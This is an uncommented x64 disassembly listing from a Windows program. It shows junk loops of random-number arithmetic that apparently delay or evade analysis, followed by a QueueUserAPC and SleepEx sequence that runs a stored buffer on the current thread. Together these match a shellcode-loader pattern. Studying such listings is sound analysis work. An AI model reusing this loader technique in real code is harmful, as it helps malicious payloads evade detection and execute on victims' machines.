mov dword [rbp + 0x7fc], 0
jmp 0x140002a5f
mov dword [rbp + 0x7f8], 0
jmp 0x140002a4b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7fc]
movsxd rcx, eax
mov rax, rcx
shl rax, 6
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x660]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7fc]
movsxd rcx, eax
mov rax, rcx
shl rax, 6
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x658]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x3e
jle 0x140002984
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x30
jle 0x140002975
mov dword [rbp + 0x7fc], 0
jmp 0x140002b3c
mov dword [rbp + 0x7f8], 0
jmp 0x140002b28
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 6
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x660]
add rdx, rax
mov eax, dword [rbp + 0x7f8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 6
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x658]
add rdx, rax
mov eax, dword [rbp + 0x7f8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 6
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x650]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x3e
jle 0x140002a8a
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x30
jle 0x140002a7b
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x804], 0x50
jne 0x140002b8b
mov dword [rbp + 0x804], 0
jmp 0x140002b92
add dword [rbp + 0x804], 1
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x4f7
jle 0x1400028f5
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x678]
mov r9, qword [rbp + 0x670]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x668]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x870]
add rsp, 0x908
pop rbx
pop rsi
pop rdi
pop rbp
ret